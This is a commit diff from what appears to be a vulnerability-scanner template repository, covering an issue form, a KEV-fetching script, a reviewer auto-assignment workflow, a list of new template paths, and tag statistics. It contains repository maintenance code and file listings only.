lint - fix

Create rtl-tcp-server-detection.yaml

.github/ISSUE_TEMPLATE/enhancement.yml

@@ -0,0 +1,73 @@
+name: Enhancement Request
+description: Suggest an improvement or enhancement for nuclei-templates.
+title: "[ENHANCEMENT] ..."
+labels: ["enhancement"]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        Thanks for taking the time to suggest an enhancement!
+
+        :warning: **Issues missing important information may be closed without further investigation.**
+  - type: checkboxes
+    attributes:
+      label: Is there an existing issue for this?
+      description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
+      options:
+      - label: I have searched the existing issues and discussions.
+        required: true
+  - type: textarea
+    attributes:
+      label: Enhancement Description
+      description: |
+        Provide a clear and concise description of the enhancement you're proposing.
+
+        What would you like to see improved or added?
+      placeholder: |
+        A clear description of what you want to happen...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Use Case / Problem
+      description: |
+        Describe the use case or problem that this enhancement would solve.
+
+        Why is this enhancement needed? What problem does it address?
+      placeholder: |
+        Currently, when...
+        This causes...
+        It would be better if...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Proposed Solution
+      description: |
+        Describe your proposed solution or implementation approach.
+
+        How do you envision this enhancement working?
+      placeholder: |
+        The enhancement could work by...
+        It should include...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Alternatives Considered
+      description: |
+        Have you considered any alternative solutions or workarounds?
+      placeholder: |
+        Alternative approach 1...
+        Alternative approach 2...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional Context
+      description: |
+        Add any other context, screenshots, examples, or references about the enhancement here.
+
+        Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
+    validations:
+      required: false

.github/scripts/update-kev.py

@@ -112,11 +112,12 @@ class EnhancedKEVUpdater:
 
         vkev_cves = set()
         page = 1
-        max_pages = 10  # Safety limit
+        total_pages = None
+        pages_fetched = 0
 
         print("Fetching VulnCheck KEV catalog...")
 
-        while page <= max_pages:
+        while True:
             for attempt in range(MAX_RETRIES):
                 try:
                     headers = {
@@ -141,33 +142,46 @@ class EnhancedKEVUpdater:
                                     if cve_id and cve_id.startswith('CVE-'):
                                         vkev_cves.add(cve_id.upper())
 
-                        # Check if we have more pages
+                        # Check pagination info
                         meta = data.get('_meta', {})
                         total_pages = meta.get('total_pages', 0)
                         current_page = meta.get('page', page)
 
+                        pages_fetched += 1
+                        print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
+
+                        # Check if we've reached the last page
                         if current_page >= total_pages:
-                            break
+                            print(f"Completed fetching all {pages_fetched} pages")
+                            return vkev_cves
+
+                        # Rate limiting: small delay between requests to avoid hitting API limits
+                        if pages_fetched % 10 == 0:  # Every 10 pages, longer delay
+                            print(f"Pausing for rate limiting after {pages_fetched} pages...")
+                            time.sleep(2)
+                        else:
+                            time.sleep(0.5)  # Small delay between requests
 
                         page += 1
                         break  # Break retry loop, continue to next page
                     else:
                         print("No more VulnCheck KEV data")
-                        page = max_pages + 1  # Exit outer loop
-                        break
+                        return vkev_cves
 
                 except requests.RequestException as e:
                     print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
                     if attempt == MAX_RETRIES - 1:
                         print(f"Failed to fetch VulnCheck KEV data for page {page}")
-                        page = max_pages + 1  # Exit on final failure
+                        return vkev_cves  # Return what we have so far
                     else:
-                        time.sleep(2 * (attempt + 1))
+                        # Exponential backoff with rate limiting consideration
+                        delay = min(10, 2 * (attempt + 1))
+                        print(f"Retrying after {delay} seconds...")
+                        time.sleep(delay)
 
                 except Exception as e:
                     print(f"Unexpected error fetching VulnCheck KEV: {e}")
-                    page = max_pages + 1  # Exit on unexpected error
-                    break
+                    return vkev_cves  # Return what we have so far
 
         print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
         return vkev_cves

.github/workflows/autoassign.yml

@@ -1,26 +1,164 @@
-name: 🤖 issue/pr assignment
-on:
-#  pull_request:
-#    types: [opened]
-#    branches: 
-#      - main
-  issues:
-    types: [opened]
+name: Auto-assign on open
 
-env:
-  ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
+on:
+  issues:
+    types: [opened, reopened]
+  # Use pull_request_target so the job has permissions on PRs from forks.
+  pull_request_target:
+    types: [opened, ready_for_review, reopened]
+
+permissions:
+  contents: read
+  issues: write
+  pull-requests: write
+
+concurrency:
+  group: auto-assign-on-open
+  cancel-in-progress: false
 
 jobs:
-  build:
-    permissions: write-all
+  assign:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v5 # checkout the repository content
-      - uses: actions/setup-python@v6
+      - uses: actions/github-script@v8
         with:
-          python-version: '3.10' # install the python version needed
-      - run: pip install requests
-#      - if: github.event_name == 'pull_request'
-#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
-      - if: github.event_name == 'issues'
-        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
+          script: |
+            const ORG = context.repo.owner;
+            const REPO = context.repo.repo;
+
+            // ======= CONFIG: put your user pools here =======
+            // Usernames must be GitHub logins and collaborators on this repo.
+            const ISSUE_ASSIGNEES = [
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+            ];
+            const REVIEW_POOL = [
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+            ];
+            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
+            // ================================================
+
+            function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
+            const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
+            const reviewPool = new Set(toLowerAll(REVIEW_POOL));
+            const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
+
+            // Simple "least recent then fewest in lookback" picker
+            function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
+            const issueCounts = initMap(issuePool);
+            const prAssigneeCounts = initMap(reviewPool);
+            const prReviewerCounts = initMap(reviewPool);
+            const lastIssueAssign = new Map();
+            const lastPrAssignee = new Map();
+            const lastPrReviewer = new Map();
+
+            function pick(countsMap, lastMap, exclude=new Set()){
+              const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
+              if (!cands.length) return null;
+              cands.sort((a,b)=>{
+                const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
+                if (ca!==cb) return ca-cb;
+                const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
+                if (ta!==tb) return ta-tb;
+                return a.localeCompare(b);
+              });
+              return cands[0];
+            }
+
+            async function buildIssueStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.issues.listForRepo,
+                { owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
+              )){
+                for (const it of page.data){
+                  if (it.pull_request) continue;
+                  const ts = new Date(it.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  for (const a of (it.assignees||[])){
+                    const l=a.login.toLowerCase();
+                    if (issuePool.has(l)){
+                      issueCounts.set(l,(issueCounts.get(l)||0)+1);
+                      const lastTs = lastIssueAssign.get(l);
+                      if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            async function buildPrStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.pulls.list,
+                { owner: ORG, repo: REPO, state: 'all', per_page: 100 }
+              )){
+                for (const pr of page.data){
+                  const ts = new Date(pr.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  // Count all assignees (plural)
+                  for (const a of (pr.assignees||[])){
+                    const l = a.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
+                      const lastTs = lastPrAssignee.get(l);
+                      if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
+                    }
+                  }
+                  // Count all reviewers separately
+                  for (const r of (pr.requested_reviewers||[])){
+                    const l=r.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
+                      const lastTs = lastPrReviewer.get(l);
+                      if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            // Build stats once per run (cheap enough for small repos)
+            await Promise.all([buildIssueStats(), buildPrStats()]);
+
+            // Determine context
+            if (context.eventName === 'issues') {
+              const issue = context.payload.issue;
+              if (issue.pull_request) return; // guard
+              if ((issue.assignees||[]).length>0) return;
+
+              const pickee = pick(issueCounts, lastIssueAssign);
+              if (!pickee) return;
+
+              await github.rest.issues.addAssignees({
+                owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
+              });
+
+            } else if (context.eventName === 'pull_request_target') {
+              const pr = context.payload.pull_request;
+              const prNum = pr.number;
+
+              const author = (pr.user?.login||"").toLowerCase();
+              const assignee = pr.assignee?.login?.toLowerCase();
+
+              // Ensure one assignee (use assignee counts only)
+              let finalAssignee = assignee;
+              if (!finalAssignee) {
+                const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
+                if (a) {
+                  await github.rest.issues.addAssignees({
+                    owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
+                  });
+                  finalAssignee = a;
+                }
+              }
+
+              // One reviewer, not the author, not the assignee (use reviewer counts only)
+              const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
+              if (already.size === 0 && !pr.draft) {
+                const exclude = new Set([author, finalAssignee].filter(Boolean));
+                const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
+                if (reviewer) {
+                  await github.rest.pulls.requestReviewers({
+                    owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
+                  });
+                }
+              }
+            }

.new-additions

@@ -1,182 +1,54 @@
-headless/cves/2025/CVE-2025-50738.yaml
-http/cves/2014/CVE-2014-8739.yaml
-http/cves/2016/CVE-2016-15042.yaml
-http/cves/2019/CVE-2019-15774.yaml
-http/cves/2019/CVE-2019-17228.yaml
-http/cves/2019/CVE-2019-17230.yaml
-http/cves/2019/CVE-2019-17231.yaml
-http/cves/2019/CVE-2019-17233.yaml
-http/cves/2019/CVE-2019-7195.yaml
-http/cves/2019/CVE-2019-9880.yaml
-http/cves/2019/CVE-2019-9881.yaml
-http/cves/2020/CVE-2020-11514.yaml
-http/cves/2020/CVE-2020-11515.yaml
-http/cves/2020/CVE-2020-23814.yaml
-http/cves/2020/CVE-2020-27615.yaml
-http/cves/2020/CVE-2020-36155.yaml
-http/cves/2020/CVE-2020-36836.yaml
-http/cves/2021/CVE-2021-24170.yaml
-http/cves/2021/CVE-2021-24527.yaml
-http/cves/2021/CVE-2021-24644.yaml
-http/cves/2021/CVE-2021-24876.yaml
-http/cves/2021/CVE-2021-24878.yaml
-http/cves/2021/CVE-2021-34624.yaml
-http/cves/2022/CVE-2022-0429.yaml
-http/cves/2022/CVE-2022-2461.yaml
-http/cves/2022/CVE-2022-3124.yaml
-http/cves/2022/CVE-2022-4971.yaml
-http/cves/2023/CVE-2023-0037.yaml
-http/cves/2023/CVE-2023-0876.yaml
-http/cves/2023/CVE-2023-3139.yaml
-http/cves/2023/CVE-2023-40000.yaml
-http/cves/2023/CVE-2023-47873.yaml
-http/cves/2023/CVE-2023-6000.yaml
-http/cves/2024/CVE-2024-11972.yaml
-http/cves/2024/CVE-2024-2771.yaml
-http/cves/2024/CVE-2024-2782.yaml
-http/cves/2024/CVE-2024-28000.yaml
-http/cves/2024/CVE-2024-29028.yaml
-http/cves/2024/CVE-2024-29029.yaml
-http/cves/2024/CVE-2024-29030.yaml
-http/cves/2024/CVE-2024-33326.yaml
-http/cves/2024/CVE-2024-3378.yaml
-http/cves/2024/CVE-2024-36857.yaml
-http/cves/2024/CVE-2024-43441.yaml
-http/cves/2024/CVE-2024-46506.yaml
-http/cves/2024/CVE-2024-47533.yaml
-http/cves/2024/CVE-2024-4898.yaml
-http/cves/2024/CVE-2024-51568.yaml
-http/cves/2024/CVE-2024-8353.yaml
-http/cves/2024/CVE-2024-8425.yaml
-http/cves/2024/CVE-2024-9772.yaml
-http/cves/2025/CVE-2025-23061.yaml
-http/cves/2025/CVE-2025-3515.yaml
-http/cves/2025/CVE-2025-3605.yaml
-http/cves/2025/CVE-2025-49596.yaml
-http/cves/2025/CVE-2025-52207.yaml
-http/cves/2025/CVE-2025-53118.yaml
-http/cves/2025/CVE-2025-54123.yaml
-http/cves/2025/CVE-2025-55161.yaml
-http/cves/2025/CVE-2025-57819.yaml
-http/cves/2025/CVE-2025-57822.yaml
-http/cves/2025/CVE-2025-58179.yaml
-http/cves/2025/CVE-2025-58434.yaml
-http/cves/2025/CVE-2025-8085.yaml
-http/default-logins/apache/apache-streampark-default-login.yaml
-http/exposed-panels/barracuda-message-panel.yaml
-http/exposed-panels/canon/canon-ir-adv.yaml
-http/exposed-panels/dell-remote-web-access-panel.yaml
-http/exposed-panels/hpe-officeconnect-panel.yaml
-http/exposed-panels/mitel-nupoint-panel.yaml
-http/exposed-panels/phoenix-contact-charx-panel.yaml
-http/exposed-panels/scan2net-panel.yaml
-http/exposures/apis/phoenix-contact-charx-api.yaml
-http/exposures/configs/n8n-config.yaml
-http/exposures/configs/nocobase-config.yaml
-http/exposures/configs/openmetadata-admin-userenum.yaml
-http/exposures/files/bitbucket-oauth-exposure.yaml
-http/fuzzing/windows-lfi-fuzzing.yaml
-http/global-matchers/global-waf-detect.yaml
-http/iot/dell-laser-printer-unauth.yaml
-http/iot/hikvision-cam-info-exposure.yaml
-http/misconfiguration/amr-printer-management-unauth.yaml
-http/misconfiguration/installer/flowise-installer.yaml
-http/misconfiguration/microsoft/ms-front-page-misconfig.yaml
-http/misconfiguration/missing-cookie-samesite-strict.yaml
-http/osint/user-enumeration/nest-owasp.yaml
-http/takeovers/framer-takeover.yaml
-http/technologies/apache/apache-streampark-detect.yaml
-http/technologies/dkron-detect.yaml
-http/technologies/hugegraph-studio-detect.yaml
-http/technologies/mcp-inspector-detect.yaml
-http/technologies/teccom-openmessaging-detect.yaml
-http/vulnerabilities/backdoor/freepbx-cleanup-backdoor.yaml
-http/vulnerabilities/other/dkron-unauth-rce.yaml
-http/vulnerabilities/phoenix-contact/phoenix-contact-charx-multiple-vulnerabilities.yaml
-javascript/cves/2025/CVE-2023-45249.yaml
-javascript/detection/pigeonhole-sieve-detect.yaml
-javascript/detection/rlogin-detect.yaml
-javascript/misconfiguration/netstat-service-expose.yaml
-javascript/misconfiguration/unauth-vnc-server-detect.yaml
-javascript/udp/detection/zeroconf-detect.yaml
-javascript/udp/misconfiguration/snmpv1-community-detect-string.yaml
-network/cves/2022/CVE-2022-37932.yaml
-network/detection/direct-connect-detect.yaml
-network/detection/ftp-detect.yaml
-network/detection/ftp/3com-ftp-detect.yaml
-network/detection/ftp/adi-galaxy-ftp-detect.yaml
-network/detection/ftp/argosoft-ftp-detect.yaml
-network/detection/ftp/avalaunch-ftp-detect.yaml
-network/detection/ftp/baby-ftp-detect.yaml
-network/detection/ftp/betaftpd-detect.yaml
-network/detection/ftp/blackjumbodog-ftp-detect.yaml
-network/detection/ftp/blackmoon-chaos-ftp-detect.yaml
-network/detection/ftp/blackmoon-free-ftp-detect.yaml
-network/detection/ftp/bsdi-ftp-detect.yaml
-network/detection/ftp/cerberus-ftp-detect.yaml
-network/detection/ftp/checkpoint-ftp-detect.yaml
-network/detection/ftp/cleo-vlproxy-ftp-detect.yaml
-network/detection/ftp/code-crafters-ftp-detect.yaml
-network/detection/ftp/communigate-ftp-detect.yaml
-network/detection/ftp/delegate-ftp-detect.yaml
-network/detection/ftp/diskstation-ftp-detect.yaml
-network/detection/ftp/dumb-ftp-detect.yaml
-network/detection/ftp/easycoder-ftp-detect.yaml
-network/detection/ftp/filezilla-ftp-detect.yaml
-network/detection/ftp/firstclass-ftp-detect.yaml
-network/detection/ftp/freebox-ftp-detect.yaml
-network/detection/ftp/gene6-ftp-detect.yaml
-network/detection/ftp/globalscape-ftp-detect.yaml
-network/detection/ftp/globalsite-selector-ftp-detect.yaml
-network/detection/ftp/golden-ftp-detect.yaml
-network/detection/ftp/hp-ftp-detect.yaml
-network/detection/ftp/hummingbird-ftp-detect.yaml
-network/detection/ftp/ibm-ftp-detect.yaml
-network/detection/ftp/jana-ftp-detect.yaml
-network/detection/ftp/java-ftp-proxy-detect.yaml
-network/detection/ftp/jd-ftp-detect.yaml
-network/detection/ftp/lanier-ftp-detect.yaml
-network/detection/ftp/macosx-ftp-detect.yaml
-network/detection/ftp/medusa-ftp-detect.yaml
-network/detection/ftp/microsoft-ftp-detect.yaml
-network/detection/ftp/mikrotik-ftp-detect.yaml
-network/detection/ftp/ncftpd-detect.yaml
-network/detection/ftp/netbsd-ftpd-detect.yaml
-network/detection/ftp/netdisk-ftp-detect.yaml
-network/detection/ftp/networkcamera-ftp-detect.yaml
-network/detection/ftp/nmc-ftp-detect.yaml
-network/detection/ftp/nucleus-ftp-detect.yaml
-network/detection/ftp/opendreambox-ftp-detect.yaml
-network/detection/ftp/oracle-ifs-ftp-detect.yaml
-network/detection/ftp/oracle-xmldb-ftp-detect.yaml
-network/detection/ftp/pablo-ftp-detect.yaml
-network/detection/ftp/packetshaper-ftp-detect.yaml
-network/detection/ftp/personal-ftp-detect.yaml
-network/detection/ftp/prnet-ftp-detect.yaml
-network/detection/ftp/psosystem-ftp-detect.yaml
-network/detection/ftp/pure-ftpd-detect.yaml
-network/detection/ftp/riedel-ftp-detect.yaml
-network/detection/ftp/sambar-ftp-detect.yaml
-network/detection/ftp/securegateway-ftp-detect.yaml
-network/detection/ftp/serv-u-ftp-detect.yaml
-network/detection/ftp/sidewinder-ftp-detect.yaml
-network/detection/ftp/sunos56-ftp-detect.yaml
-network/detection/ftp/sunos58-ftp-detect.yaml
-network/detection/ftp/titan-ftp-detect.yaml
-network/detection/ftp/tnftpd-detect.yaml
-network/detection/ftp/tornado-vxworks-ftp-detect.yaml
-network/detection/ftp/tp-print-ftp-detect.yaml
-network/detection/ftp/treck-ftp-detect.yaml
-network/detection/ftp/typsoft-ftp-detect.yaml
-network/detection/ftp/vsftpd-detect.yaml
-network/detection/ftp/windriver-ftp-detect.yaml
-network/detection/ftp/x2-wsftp-detect.yaml
-network/detection/ftp/xerver-ftp-detect.yaml
-network/detection/ftp/xlight-ftp-detect.yaml
-network/detection/ftp/zftp-detect.yaml
-network/detection/ftp/zywall-ftp-detect.yaml
-network/detection/sap-dispatcher-detect.yaml
-network/detection/sap-router-detect.yaml
-workflows/freepbx-workflow.yaml
-workflows/ftp-workflow.yaml
-workflows/phoenix-contact-workflow.yaml
+code/cves/2024/CVE-2024-47575.yaml
+code/misconfiguration/dns-axfr-enabled.yaml
+http/cves/2018/CVE-2018-6882.yaml
+http/cves/2019/CVE-2019-11507.yaml
+http/cves/2021/CVE-2021-41419.yaml
+http/cves/2021/CVE-2021-45467.yaml
+http/cves/2022/CVE-2022-26143.yaml
+http/cves/2023/CVE-2023-2437.yaml
+http/cves/2023/CVE-2023-34048.yaml
+http/cves/2024/CVE-2024-0799.yaml
+http/cves/2024/CVE-2024-0801.yaml
+http/cves/2024/CVE-2024-10146.yaml
+http/cves/2024/CVE-2024-11238.yaml
+http/cves/2024/CVE-2024-27443.yaml
+http/cves/2024/CVE-2024-28623.yaml
+http/cves/2024/CVE-2024-4180.yaml
+http/cves/2024/CVE-2024-6690.yaml
+http/cves/2025/CVE-2025-1023.yaml
+http/cves/2025/CVE-2025-1302.yaml
+http/cves/2025/CVE-2025-24354.yaml
+http/cves/2025/CVE-2025-32429.yaml
+http/cves/2025/CVE-2025-41243.yaml
+http/cves/2025/CVE-2025-51482.yaml
+http/cves/2025/CVE-2025-52472.yaml
+http/cves/2025/CVE-2025-52665.yaml
+http/cves/2025/CVE-2025-54236.yaml
+http/cves/2025/CVE-2025-54253.yaml
+http/cves/2025/CVE-2025-55190.yaml
+http/cves/2025/CVE-2025-5605.yaml
+http/cves/2025/CVE-2025-58443.yaml
+http/cves/2025/CVE-2025-59287.yaml
+http/cves/2025/CVE-2025-6174.yaml
+http/cves/2025/CVE-2025-61884.yaml
+http/cves/2025/CVE-2025-6403.yaml
+http/cves/2025/CVE-2025-64095.yaml
+http/cves/2025/CVE-2025-9985.yaml
+http/default-logins/churchcrm/churchcrm-default-login.yaml
+http/exposed-panels/churchcrm-panel.yaml
+http/exposures/backups/generic-php-files.yaml
+http/misconfiguration/aem/aem-dispatcher-bypass.yaml
+http/misconfiguration/aem/aem-querybuilder-bypass.yaml
+http/misconfiguration/installer/churchcrm-installer.yaml
+http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
+http/takeovers/mailgun-takeover.yaml
+http/vulnerabilities/generic/xss-uri-reflected.yaml
+http/vulnerabilities/unifi/unifi-create-user.yaml
+http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
+javascript/cves/2019/CVE-2019-6443.yaml
+javascript/detection/ntp-version-detect.yaml
+javascript/misconfiguration/mqtt-uauth-broker.yaml
+javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
+network/cves/2020/CVE-2020-14644.yaml
+network/cves/2024/CVE-2024-23108.yaml
+network/detection/rtl-tcp-server-detect.yaml

CONTRIBUTING.md

@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
 
 - Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
 - Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
-- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
 
 Along with the P.O.C following are the required fields in the info section for submitting new template.
 

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
+{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming",